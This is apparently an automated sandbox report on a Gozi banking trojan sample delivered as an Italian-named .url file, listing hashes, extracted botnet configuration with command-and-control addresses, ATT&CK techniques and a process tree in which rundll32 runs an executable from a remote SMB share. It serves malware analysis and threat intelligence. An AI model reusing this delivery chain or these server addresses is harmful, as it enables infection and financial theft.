gozi | aaf8dada953bf6b8e815b4f9d312ab86f6c21ddb10c82a274ca1d95ca54d1feb

Analysis

max time kernel
121s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
23-01-2023 10:35

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General

Target

contratto/contratto.url
Size

196B
MD5

582020c54921b9635ea54ddefbf44431
SHA1

4e6e4537fd7c4de2a664e559c08fe2142adb8319
SHA256

c66981ec7d3867d2481ac3ba2cd40f63fdc29782de6d6cbc88fff9376d71d1d3
SHA512

df7d2e19d905bb00024c225d1bd83a4fd8617b9e23d5726721a05201b438f7ce9254b56fc7a4f58843faf174f5d71f351750ea6e7ea7fa11e3cc66b442715cf4

Score

10^/10

gozi 7707 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

7707

checklist.skype.com

62.173.149.10

31.41.44.27

193.0.178.235

Attributes

base_path
/drew/
build
250250
exe_type
loader
extension
.jlk
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1948 wrote to memory of 4936	1948	rundll32.exe	81
PID 1948 wrote to memory of 4936	1948	rundll32.exe	81
PID 1948 wrote to memory of 4936	1948	rundll32.exe	81

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\contratto\contratto.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1948
- \??\UNC\193.233.175.99\Agenzia\scarica.exe
  "\\193.233.175.99\Agenzia\scarica.exe"
  2⤵
  PID:4936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4936-132-0x0000000000000000-mapping.dmp

Download
memory/4936-133-0x00000000004ED000-0x0000000000502000-memory.dmp

Filesize
84KB

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memory/4936-134-0x00000000021A0000-0x00000000021AB000-memory.dmp

Filesize
44KB

Download
memory/4936-135-0x0000000000400000-0x0000000000458000-memory.dmp

Filesize
352KB

Download
memory/4936-136-0x00000000021C0000-0x00000000021CD000-memory.dmp

Filesize
52KB

Download
memory/4936-139-0x00000000004ED000-0x0000000000502000-memory.dmp

Filesize
84KB

Download
memory/4936-140-0x0000000000400000-0x0000000000458000-memory.dmp

Filesize
352KB

Download

Analysis

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General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads